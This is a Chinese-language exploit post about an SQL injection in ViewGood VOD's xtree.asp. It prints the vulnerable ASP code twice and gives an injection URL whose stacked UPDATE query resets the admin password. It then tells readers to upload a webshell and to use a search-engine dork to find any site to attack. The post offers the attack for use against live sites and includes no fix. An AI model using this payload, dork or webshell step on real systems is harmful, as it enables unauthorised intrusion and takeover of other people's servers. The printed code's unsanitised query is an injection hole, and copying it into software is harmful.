远古VOD(0day)

2009-2-12 03:30 850 0

摘要: 来自坏狼安全网四月份发现的，现在仍出来。漏洞文件webmedia/common/function/xtree.asp〈!--#include file="../db...

关键词： szRetVar rsData ParentID Type TypeName Session ID iNode TypeInfo Response

来自坏狼安全网四月份发现的，现在仍出来。漏洞文件webmedia/common/function/xtree.asp〈!--#include file="../dbcon.inc.asp" -->〈%iNode_ID = Request.QueryString("id")if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 thenszSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>=20 AND ParentID=" & iNode_IDelseszSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>20 AND ParentID=" & iNode_IDend ifrsData.Open szSQL,con,1,3szRetVar = "<?xml version=1.0 encoding=GB2312?><Root>"do while not rsData.EOFszRetVar = szRetVar & "<TypeInfo>"szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>"szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>"szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>"szRetVar = szRetVar & "</TypeInfo>"rsData.MoveNextloopszRetVar = szRetVar & "</Root>"rsData.CloseResponse.CharSet = "GB2312"Response.CResponse.Expires = -1Response.Write szRetVar%>〈!--#include file="../dbend.inc.asp" -->〈!--#include file="../dbcon.inc.asp" -->〈%iNode_ID = Request.QueryString("id")if Len(Session("SuperAdmin")) > 0 or Len(Session("LIVEAdmin")) > 0 or Len(Session("VODAdmin")) > 0 thenszSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>=20 AND ParentID=" & iNode_IDelseszSQL = "SELECT Type_ID,ParentID,TypeName FROM TypeInfo WHERE Type_ID>20 AND ParentID=" & iNode_IDend ifrsData.Open szSQL,con,1,3szRetVar = "<?xml version=1.0 encoding=GB2312?><Root>"do while not rsData.EOFszRetVar = szRetVar & "<TypeInfo>"szRetVar = szRetVar & "<IDN>" & rsData("Type_ID") & "</IDN>"szRetVar = szRetVar & "<ParentID>" & rsData("ParentID") & "</ParentID>"szRetVar = szRetVar & "<TypeName>" & Replace(rsData("TypeName"), "&", "&") & "</TypeName>"szRetVar = szRetVar & "</TypeInfo>"rsData.MoveNextloopszRetVar = szRetVar & "</Root>"rsData.CloseResponse.CharSet = "GB2312"Response.CResponse.Expires = -1Response.Write szRetVar%>〈!--#include file="../dbend.inc.asp" -->很容易看出以上存在着DB权限注入注射地址：http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1表段名：customer构造函数把admin的pass改成fuck http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp?id=1;update%20customer%20set%20UserPass=633f94d350db34d5%20where%20UserName=admin登陆后台直接上传大马完事！测试方法：在google baidu搜: inurL:webmedia/ 随便找个站都可以入侵官方地址：http://www.viewgood.com/

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除